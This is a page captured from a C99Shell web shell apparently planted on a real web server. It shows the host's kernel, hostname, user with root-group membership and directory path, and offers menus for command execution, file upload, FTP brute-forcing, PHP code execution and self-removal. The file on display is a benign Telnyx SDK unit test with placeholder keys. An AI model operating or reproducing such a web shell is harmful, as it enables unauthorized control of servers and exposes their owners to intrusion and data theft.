!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/telnyx/telnyx-php/tests/api_resources/   drwxr-xr-x
Free 29.29 GB of 117.98 GB (24.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TelnyxTest.php (2.11 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Telnyx;

/**
 * @internal
 * @covers \Telnyx\Telnyx
 */
final class TelnyxTest extends \Telnyx\TestCase
{
    
/** @var array */
    
protected $orig;

    
/**
     * @before
     */
    
public function saveOriginalValues()
    {
        
$this->orig = [
            
'caBundlePath' => Telnyx::$caBundlePath,
        ];
    }

    
/**
     * @after
     */
    
public function restoreOriginalValues()
    {
        
Telnyx::$caBundlePath $this->orig['caBundlePath'];
    }

    public function 
testCABundlePathAccessors()
    {
        
Telnyx::setCABundlePath('path/to/ca/bundle');
        static::
assertSame('path/to/ca/bundle'Telnyx::getCABundlePath());
    }
    
    public function 
testAppInfo() {
        
$app_info = [];
        
$app_info['name'] = 'test_app';
        
$app_info['partner_id'] = 'partner_id';
        
$app_info['url'] = 'url/to/app';
        
$app_info['version'] = '123';

        
Telnyx::setAppInfo($app_info['name'], $app_info['version'], $app_info['url'], $app_info['partner_id']);
        static::
assertSame($app_infoTelnyx::getAppInfo());
    }

    public function 
testSetsGets()
    {
        
Telnyx::setApiKey('TEST89328');
        static::
assertSame('TEST89328'Telnyx::getApiKey());

        
Telnyx::setLogger(new \Telnyx\Util\DefaultLogger());
        
$this->assertInstanceOf(\Telnyx\Util\LoggerInterface::class, Telnyx::getLogger());

        
Telnyx::setClientId('CLIENTID455654');
        static::
assertSame('CLIENTID455654'Telnyx::getClientId());

        
Telnyx::setPublicKey('PUBLICKEY293847');
        static::
assertSame('PUBLICKEY293847'Telnyx::getPublicKey());

        
Telnyx::setApiVersion(2);
        static::
assertSame(2Telnyx::getApiVersion());

        
Telnyx::setVerifySslCerts(true);
        static::
assertSame(trueTelnyx::getVerifySslCerts());

        
Telnyx::setAccountId('ACCOUNT38749');
        static::
assertSame('ACCOUNT38749'Telnyx::getAccountId());

        
Telnyx::setEnableTelemetry(false);
        static::
assertSame(falseTelnyx::getEnableTelemetry());

        
Telnyx::setMaxNetworkRetries(4);
        static::
assertSame(4Telnyx::getMaxNetworkRetries());
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--